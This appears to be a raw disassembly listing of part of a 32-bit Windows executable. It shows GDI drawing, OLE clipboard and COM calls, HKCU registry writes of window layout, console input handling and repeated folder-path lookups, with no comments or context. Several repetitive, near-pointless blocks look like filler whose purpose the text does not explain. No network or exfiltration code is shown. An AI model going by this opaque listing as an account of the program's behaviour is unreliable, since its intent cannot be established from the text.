lea edx, [ebp - 0x440]
push edx
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0xa0]
push ecx
push 7
push 0x41a188
push esi
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov edx, dword [ebp - 0xa0]
push edx
lea eax, [ebp - 0x280]
push 0x41a184
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push eax
lea ecx, [ebp - 0x280]
push ecx
push 0x14
push 0x14
push esi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, dword [ebp - 0x9c]
push edx
lea eax, [ebp - 0x280]
push 0x41a184
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push eax
lea ecx, [ebp - 0x280]
push ecx
push 0x14
push 0x64
push esi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, dword [ebp - 8]
lea eax, [ebx + 0x15000]
push eax
push 8
push edx
call edi
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x10]
push ecx
push edx
push ebx
push esi
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov eax, dword [0x462fd0]
xor ecx, ecx
cmp eax, dword [0x462fcc]
jbe 0x403470
mov edx, dword [ebp - 0x4c]
imul edx, edx
mov eax, 0x2aaaaaab
imul edx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x24], eax
test eax, eax
jle 0x403470
cmp dword [0x462fcc], 0
jne 0x403408
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ecx, eax
jmp 0x403414
dec dword [ebp - 0x14]
cmp dword [0x462fd4], 0
jne 0x403470
cmp dword [0x462fd8], 0
je 0x403470
mov eax, dword [ebp - 0x4c]
cdq
lea edi, [ebx + 0x16]
idiv edi
xor esi, esi
test eax, eax
jle 0x403444
mov edx, dword [ebp - 0x2c]
nop
test ebx, ebx
je 0x403437
sub dword [ebp - 0x14], edx
test ecx, ecx
je 0x4025bb
inc esi
cmp esi, eax
jl 0x403430
cmp dword [ebp - 0x54], 0
je 0x4025bb
cmp dword [0x462fd4], 0
jne 0x4025bb
push ecx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [ebp - 8]
inc eax
mov ecx, ebx
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x24]
jl 0x4033f5
cmp dword [ebp - 0x4c], 0
je 0x403488
cmp dword [0x462fd0], 0
je 0x403488
mov eax, dword [ebp - 0x1c]
sub eax, ebx
inc eax
mov dword [ebp - 0x50], eax
mov edi, dword [sym.imp.ole32.dll_OleInitialize]
test ebx, ebx
je 0x40358c
push 0
call edi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.ole32.dll_OleSetClipboard]
push esi
call dword [sym.imp.ole32.dll_OleIsCurrentClipboard]
test eax, eax
js 0x403580
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
mov dword [ebp - 0x10], 0
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
js 0x4034ff
mov edx, dword [ebp - 0x10]
push 0
push 0
push 3
push esi
push 0x41a174
push edx
call dword [sym.imp.ole32.dll_CoMarshalInterface]
test eax, eax
js 0x4034f4
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push ecx
call dword [sym.imp.ole32.dll_GetHGlobalFromStream]
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
lea ecx, [ebp - 0x24]
push ecx
push esi
push 0x41a174
call dword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
test eax, eax
js 0x403580
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
lea esp, [esp]
push 0
push 1
lea eax, [ebp - 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x40357a
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x70]
push ecx
call esi
test eax, eax
je 0x403530
lea edx, [ebp - 0x70]
push edx
call edi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x70]
push ecx
call esi
test eax, eax
jne 0x403556
jmp 0x403530
mov edi, dword [sym.imp.ole32.dll_OleInitialize]
call dword [sym.imp.ole32.dll_OleFlushClipboard]
call dword [sym.imp.ole32.dll_OleUninitialize]
push 0
call edi
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x24], 0
test ebx, ebx
je 0x403602
lea edx, [ebp - 0x24]
push edx
push 0
lea eax, [ebp - 0x70c]
push eax
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
js 0x4035d9
mov edx, dword [ebp - 0x24]
lea ecx, [ebp - 8]
push ecx
push 0x41a174
push edx
call dword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x41a174
push ecx
call dword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ole32.dll_OleIsCurrentClipboard]
call dword [sym.imp.ole32.dll_OleFlushClipboard]
call dword [sym.imp.ole32.dll_OleUninitialize]
push 0
call edi
mov esi, dword [sym.imp.ole32.dll_OleGetClipboard]
test eax, eax
js 0x40362b
lea eax, [ebp - 8]
push eax
call esi
test eax, eax
js 0x403625
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_OleUninitialize]
mov edi, dword [sym.imp.ole32.dll_CoInitialize]
push 0
call edi
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x10]
push eax
call esi
push 0
mov esi, eax
call edi
lea ecx, [ebp - 0x140]
push ecx
push str.WordDocument
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
jne 0x4036c6
lea edx, [ebp - 0x48]
push edx
push 0x41a2b8
push 4
push 0
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
push 0
test esi, esi
jne 0x4036a1
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax]
push 1
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
mov dword [ebp - 0x44], 1
jmp 0x4036ed
push 0x78
lea ecx, [ebp - 0x120]
push ecx
push 0x800
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea edx, [ebp - 0x120]
push edx
jmp 0x4036eb
push 0
push 0x78
lea eax, [ebp - 0x120]
push eax
push 0x800
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea ecx, [ebp - 0x120]
push ecx
call edi
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov edx, dword [edx + 0x20]
lea ecx, [ebp - 0x24]
push ecx
push 1
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 0x68]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x40383f
lea esp, [esp]
cmp dword [ebp - 0x44], 0
je 0x4037ff
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x41a2c8
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jne 0x4037d8
xor esi, esi
mov eax, 0x64
push 1
push esi
mov dword [ebp - 0x124], esi
mov dword [ebp - 0x130], esi
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push esi
push esi
push esi
lea edx, [ebp - 0x130]
push edx
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
mov esi, eax
test esi, esi
jne 0x4037a4
push str.All_right
call edi
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
jmp 0x4037ff
push 0
push 0x78
lea ecx, [ebp - 0x120]
push ecx
push 0x800
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea edx, [ebp - 0x120]
push edx
call edi
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
jmp 0x4037ff
push 0
push 0x78
lea eax, [ebp - 0x120]
push eax
push 0x800
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea ecx, [ebp - 0x120]
push ecx
call edi
mov ax, word [ebp - 0x68]
cmp ax, 0xe
je 0x40380f
cmp ax, 3
jne 0x403824
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x68]
push ecx
push eax
call edx
mov esi, eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 0x68]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x403720
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [ebp - 0x44], 0
je 0x403866
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x1c], 0
je 0x40397f
mov ecx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.USER32.dll_GetParent]
lea eax, [ebp - 0x40]
push eax
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0x38], edx
sub dword [ebp - 0x34], eax
lea ecx, [ebp - 0x18]
push ecx
push 0x41a144
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [ebp - 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x40]
push edx
push 4
push 0
push 0x41a140
push eax
call edi
mov edx, dword [ebp - 0x18]
push 4
lea ecx, [ebp - 0x3c]
push ecx
push 4
push 0
push 0x41a13c
push edx
call edi
mov ecx, dword [ebp - 0x18]
push 4
lea eax, [ebp - 0x38]
push eax
push 4
push 0
push 0x41a138
push ecx
call edi
mov eax, dword [ebp - 0x18]
push 4
lea edx, [ebp - 0x34]
push edx
push 4
push 0
push str.hwyx
push eax
call edi
mov eax, dword [ebp - 0x40]
cmp eax, 0xffffffff
je 0x403932
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xffffffff
je 0x403932
mov edx, dword [ebp - 0x34]
push 4
push edx
mov edx, dword [ebp - 0x38]
push edx
push ecx
push eax
mov eax, dword [ebp - 0x1c]
push 0
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
xor esi, esi
push esi
lea ecx, [ebp - 0x74]
push str.Column_d
push ecx
call fcn.004065f4
mov edx, dword [ebp - 0x1c]
add esp, 0xc
push 0
push esi
push 0x101d
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [ebp - 0x18]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push 0
lea ecx, [ebp - 0x74]
push ecx
push edx
call edi
inc esi
cmp esi, 8
jl 0x403934
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x462fd4], 0
je 0x403a26
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x26c]
push ecx
call edi
inc eax
push eax
call fcn.0040558d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 4
lea edx, [ebp - 0x26c]
push edx
push eax
call esi
lea eax, [ebp - 0x608]
push eax
call edi
inc eax
push eax
call fcn.0040558d
add esp, 4
lea ecx, [ebp - 0x608]
push ecx
push eax
call esi
push 0x26
lea edx, [ebp - 0x608]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
push 0x400
call fcn.0040558d
add esp, 4
lea ecx, [ebp - 0xeac]
push ecx
push eax
call esi
push 0x400
call fcn.0040558d
add esp, 4
lea edx, [ebp - 0xb5c]
push edx
push eax
call esi
push 0x400
call fcn.0040558d
add esp, 4
lea ecx, [ebp - 0x400]
push ecx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff6
mov dword [ebp - 0x44], 1
call edi
mov esi, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x10], esi
call edi
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
test ebx, ebx
je 0x403b16
jmp 0x403a56
mov esi, dword [ebp - 0x10]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x403b16
lea edx, [ebp - 0x24]
push edx
push 0x80
lea eax, [ebp - 0x1a8c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
cmp dword [ebp - 0x24], 0
mov dword [ebp - 8], 0
jbe 0x403a56
lea esi, [ebp - 0x1a84]
movzx eax, word [esi - 8]
dec eax
je 0x403acb
dec eax
jne 0x403afd
mov dword [ebp - 0x18], 0x10000
mov eax, dword [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [esi]
movsx edx, word [esi - 2]
movsx eax, word [esi - 4]
push ecx
push edx
push eax
push str._.3d_t_.3d_t_.3d
call fcn.00406537
add esp, 0x10
jmp 0x403afd
cmp word [esi + 2], 0x1b
jne 0x403adb
mov dword [ebp - 0x44], 0
jmp 0x403afd
xor ecx, ecx
mov eax, ecx
push eax
push edi
mov dword [ebp - 0x18], ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
movsx eax, byte [esi + 6]
push eax
push eax
push str.AsciiCode___d:_symbol___c_n
call fcn.00406537
add esp, 0xc
mov eax, dword [ebp - 8]
inc eax
add esi, 0x14
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x24]
jb 0x403a93
cmp dword [ebp - 0x44], 1
je 0x403a53
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
lea edx, [ebp - 0x28]
push edx
mov esi, eax
push 1
xor ecx, ecx
push esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0x10001
call edi
mov dword [ebp - 8], 0x1a0051
mov edx, dword [ebp - 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea ecx, [ebp - 0x28]
push ecx
push 1
mov edx, 0x19
xor eax, eax
push esi
mov dword [ebp - 0x26], 0x500000
mov word [ebp - 0x22], dx
mov word [ebp - 0x28], ax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call edi
mov esi, eax
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
lea edx, [ebp - 0x40]
push edx
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov ebx, dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x80000000
push 0xfffffffffffffff0
push esi
call ebx
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfffbfdff
or eax, 0x80
push eax
push 0xffffffffffffffec
push esi
call ebx
mov ebx, dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
inc dword [ebp - 0x38]
lea eax, [ebp - 0x40]
push eax
call ebx
push 1
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowRgn]
lea ecx, [ebp - 0x130]
push ecx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 0x34]
cdq
sub eax, edx
mov ecx, eax
mov eax, dword [ebp - 0x124]
cdq
sub eax, edx
push 0x21
sar eax, 1
push 0
sar ecx, 1
sub eax, ecx
push 0
push eax
mov eax, dword [ebp - 0x128]
cdq
sub eax, edx
mov ecx, eax
mov eax, dword [ebp - 0x38]
cdq
sub eax, edx
sar ecx, 1
sar eax, 1
sub ecx, eax
push ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
call edi
xor edi, edi
push edi
mov esi, eax
call dword [sym.imp.UxTheme.dll_SetThemeAppProperties]
push 0x27
push edi
push edi
push edi
push edi
push edi
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x101
push edi
push edi
push esi
call dword [sym.imp.USER32.dll_RedrawWindow]
lea edx, [ebp - 0x40]
push edx
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
lea ecx, [ebp - 0xc]
push ecx
push edi
push esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x130]
push edx
push eax
lea ecx, [ebp - 0x40]
push ecx
call dword [sym.imp.USER32.dll_OffsetRect]
lea edx, [ebp - 0x40]
push edx
call ebx
push 1
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0x3c
lea eax, [ebp - 0xe4]
push edi
push eax
call fcn.00406400
add esp, 0xc
push edi
lea ecx, [ebp - 0x454]
push ecx
push 0x158
push 0x29
mov dword [ebp - 0x454], 0x158
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
je 0x403cf6
mov ecx, 0xf
lea esi, [ebp - 0x3b4]
lea edi, [ebp - 0xe4]
rep movsd dword es:[edi], dword [esi]
jmp 0x403d1c
lea edx, [ebp - 0xe4]
push edx
push 0x3c
push 0x11
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x403d1c
mov eax, dword [0x462fc4]
mov dword [0x462fc0], eax
mov edi, dword [ebp - 0x30]
test edi, edi
je 0x403d2d
mov dword [ebp - 0xd4], 0x2bc
lea ecx, [ebp - 0xe4]
push ecx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov esi, dword [0x462fd4]
mov ebx, dword [0x462fc0]
mov eax, edi
sub eax, 0x110
je 0x405492
dec eax
je 0x403d60
xor ebx, ebx
mov dword [0x462fc0], ebx
jmp 0x403d8d
movzx eax, bx
dec eax
je 0x403d6b
dec eax
je 0x403d83
jmp 0x403d8b
mov eax, dword [ebp - 0x2c]
push 0xa
lea edx, [ebp - 0xc]
push edx
push eax
push esi
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
test eax, eax
jne 0x403d83
mov byte [ebp - 0xc], al
push ebx
push esi
call dword [sym.imp.USER32.dll_EndDialog]
xor ebx, ebx
push str.uxtheme.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x4025bb
push str.IsThemeActive
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, dword [0x462fcc]
mov dword [ebp - 8], ebx
cmp ecx, ebx
je 0x403ddc
lea ecx, [ebp - 8]
push ecx
push ebx
call dword [sym.imp.ole32.dll_CreateBindCtx]
mov ecx, dword [0x462fcc]
mov edx, dword [0x462fc0]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp dword [0x462fc4], edx
jle 0x403df4
add eax, ecx
jmp 0x403df6
add eax, edi
cmp dl, byte [0x462fd4]
jne 0x403dff
inc eax
mov esi, dword [0x462fd0]
inc ecx
imul ecx, esi
add edi, eax
cmp edi, ecx
jne 0x403e15
add dword [0x462fc4], edx
push 0xff
lea edx, [ebp - 0x267]
push ebx
push edx
call fcn.00406400
add esp, 0xc
lea eax, [ebp - 0x504]
push eax
push 1
push ebx
push 2
mov dword [ebp - 0x268], esi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push ebx
call esi
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], ebx
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x403e60
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x403ea0
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
mov edx, dword [0x462fc4]
add edx, dword [0x462fc0]
cmp edx, dword [0x462fd8]
jle 0x403eba
inc dword [0x462fc4]
mov edi, dword [sym.imp.ole32.dll_CoInitialize]
push ebx
call edi
mov dword [ebp - 8], ebx
cmp dword [0x462fcc], ebx
je 0x403ed9
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.ole32.dll_CreateBindCtx]
push 0xff
lea ecx, [ebp - 0x267]
push ebx
push ecx
call fcn.00406400
mov edx, dword [0x462fcc]
mov eax, dword [0x462fd0]
mov ecx, dword [ebp + 8]
add ecx, dword [ebp + 8]
inc edx
imul edx, eax
add esp, 0xc
mov dword [ebp - 0x268], eax
cmp ecx, edx
jne 0x403f19
mov edx, dword [0x462fc0]
add dword [0x462fc4], edx
lea eax, [ebp - 0x504]
push eax
push 1
push ebx
push 2
push ebx
call esi
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], ebx
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x403f41
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x403f81
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
push ebx
call edi
mov dword [ebp - 8], ebx
cmp dword [0x462fcc], ebx
je 0x403f9a
lea ecx, [ebp - 8]
push ecx
push ebx
call dword [sym.imp.ole32.dll_CreateBindCtx]
push 0xff
lea edx, [ebp - 0x267]
push ebx
push edx
call fcn.00406400
mov eax, dword [0x462fd0]
add esp, 0xc
push ebx
mov dword [ebp - 0x268], eax
call edi
mov dword [ebp - 8], ebx
cmp dword [0x462fcc], ebx
je 0x403fd3
lea ecx, [ebp - 8]
push ecx
push ebx
call dword [sym.imp.ole32.dll_CreateBindCtx]
lea edx, [ebp - 0x504]
push edx
push 1
push ebx
push 2
push ebx
call esi
xor eax, eax
mov word [ebp - 0x70], ax
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], ebx
lea edx, [eax + 2]
jmp 0x404000
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404000
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0x268]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404040
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040577e
add esp, 4
mov eax, dword [0x462fc4]
mov edx, dword [0x462fc0]
mov esi, dword [0x462fd8]
lea ecx, [eax + edx]
cmp ecx, esi
jle 0x40405e
inc eax
mov dword [0x462fc4], eax
mov ecx, dword [0x462fcc]
mov ebx, dword [ebp + 8]
add ebx, dword [ebp + 8]
inc ecx
imul ecx, dword [0x462fd0]
cmp ebx, ecx
jne 0x40407d
add eax, edx
mov dword [0x462fc4], eax
lea edi, [eax + edx]
cmp edi, esi
jle 0x40408a
inc eax
mov dword [0x462fc4], eax
mov ebx, dword [ebp + 8]
add ebx, dword [ebp + 8]
cmp ebx, ecx
jne 0x40409b
add eax, edx
mov dword [0x462fc4], eax
add edx, eax
cmp edx, esi
jle 0x4040a7
inc eax
mov dword [0x462fc4], eax
xor esi, esi
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], esi
cmp dword [0x462fcc], esi
je 0x4040c6
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.ole32.dll_CreateBindCtx]
push 0xff
lea ecx, [ebp - 0x267]
push esi
push ecx
call fcn.00406400
mov edx, dword [0x462fd0]
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
add esp, 0xc
lea eax, [ebp - 0x504]
push eax
push 1
push esi
push 2
push esi
mov dword [ebp - 0x268], edx
call edi
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x60], esi
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x404115
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404155
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
mov eax, dword [0x462fc0]
mov ecx, dword [0x462fc4]
add ecx, eax
cmp ecx, dword [0x462fd8]
jle 0x404170
inc dword [0x462fc4]
mov edx, dword [0x462fcc]
mov esi, dword [0x462fd0]
mov ebx, dword [ebp + 8]
add ebx, dword [ebp + 8]
inc edx
imul edx, esi
cmp ebx, edx
jne 0x404190
add dword [0x462fc4], eax
push 0xff
xor ebx, ebx
lea edx, [ebp - 0x267]
push ebx
push edx
call fcn.00406400
add esp, 0xc
lea eax, [ebp - 0x504]
push eax
push 1
push ebx
push 2
push ebx
mov dword [ebp - 0x268], esi
call edi
mov esi, 7
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], ebx
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4041d6
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404216
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
mov ecx, dword [0x462fcc]
mov eax, dword [ebp + 8]
add eax, dword [ebp + 8]
inc ecx
imul ecx, dword [0x462fd0]
cmp eax, ecx
mov eax, dword [0x462fc0]
jne 0x404239
add dword [0x462fc4], eax
mov edx, dword [0x462fc4]
mov ecx, dword [0x462fd8]
add edx, eax
cmp edx, ecx
jle 0x404251
inc dword [0x462fc4]
mov edx, dword [0x462fc4]
add edx, eax
cmp edx, ecx
jle 0x404263
inc dword [0x462fc4]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 8], ebx
cmp dword [0x462fcc], ebx
je 0x404280
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.ole32.dll_CreateBindCtx]
push 0xff
lea ecx, [ebp - 0x267]
push ebx
push ecx
call fcn.00406400
mov edx, dword [0x462fd0]
add esp, 0xc
lea eax, [ebp - 0x504]
push eax
push 1
push ebx
push 2
push ebx
mov dword [ebp - 0x268], edx
call edi
xor ecx, ecx
lea eax, [ebp - 0x268]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], ebx
mov word [ebp - 0x70], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4042c5
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x268]
push edx
lea ecx, [ebp - 0x70]
call fcn.00401a20
push 1
push 0x419fe0
lea ecx, [ebp - 0x70]
call fcn.00401900
cmp dword [ebp - 0x5c], 8
jb 0x404305
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040577e
add esp, 4
mov eax, dword [0x462fc0]
cmp al, byte [0x462fd4]
jne 0x404315
inc dword [ebp - 8]
mov ecx, dword [0x462fcc]
mov esi, dword [0x462fd0]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
inc ecx
imul ecx, esi
cmp edx, ecx
jne 0x404335
add dword [0x462fc4], eax
push 0xff
lea eax, [ebp - 0x267]
push 0
push eax
call fcn.00406400
add esp, 0xc
lea ecx, [ebp - 0x504]
